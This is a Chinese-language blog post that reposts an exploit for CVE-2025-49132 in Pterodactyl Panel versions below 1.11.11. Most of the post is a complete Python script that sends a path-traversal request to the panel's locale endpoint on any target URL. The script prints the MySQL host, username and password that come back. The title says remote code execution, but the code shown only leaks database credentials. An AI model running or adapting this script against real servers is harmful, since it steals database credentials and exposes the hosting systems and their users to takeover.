Pterodactyl Panel 1.11.11 远程代码执行漏洞利用详解

本文详细介绍了Pterodactyl Panel 1.11.11版本中的远程代码执行漏洞,包括漏洞利用代码、数据库配置泄露方法以及如何检测目标系统是否易受攻击。

漏洞标题:Pterodactyl Panel 1.11.11 - 远程代码执行(RCE)

日期:2025年6月22日

漏洞作者:Zen-kun04

厂商主页:https://pterodactyl.io/

软件链接:https://github.com/pterodactyl/panel

版本:< 1.11.11

测试环境:Ubuntu 22.04.5 LTS

CVE:CVE-2025-49132

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import json
import argparse
import colorama
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

arg_parser = argparse.ArgumentParser(
    description="检查目标是否易受CVE-2025-49132攻击。")
arg_parser.add_argument("target", help="目标URL")
args = arg_parser.parse_args()

try:
    target = args.target.strip() + '/' if not args.target.strip().endswith('/') else args.target.strip()
    r = requests.get(f"{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database", allow_redirects=True, timeout=5, verify=False)
    if r.status_code == 200 and "pterodactyl" in r.text.lower():
        try:
            raw_data = r.json()
            data = {
                "success": True,
                "host": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("host", "N/A"),
                "port": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("port", "N/A"),
                "database": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("database", "N/A"),
                "username": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("username", "N/A"),
                "password": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("password", "N/A")
            }
            print(f"{colorama.Fore.LIGHTGREEN_EX}{target} => {data['username']}:{data['password']}@{data['host']}:{data['port']}/{data['database']}{colorama.Fore.RESET}")
        except json.JSONDecodeError:
            print(colorama.Fore.RED + "不易受攻击" + colorama.Fore.RESET)
        except TypeError:
            print(colorama.Fore.YELLOW + "易受攻击但无数据库" + colorama.Fore.RESET)
    else:
        print(colorama.Fore.RED + "不易受攻击" + colorama.Fore.RESET)
except requests.RequestException as e:
    if "NameResolutionError" in str(e):
        print(colorama.Fore.RED + "无效目标或无法解析域名" + colorama.Fore.RESET)
    else:
        print(f"{colorama.Fore.RED}请求错误: {e}{colorama.Fore.RESET}")
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计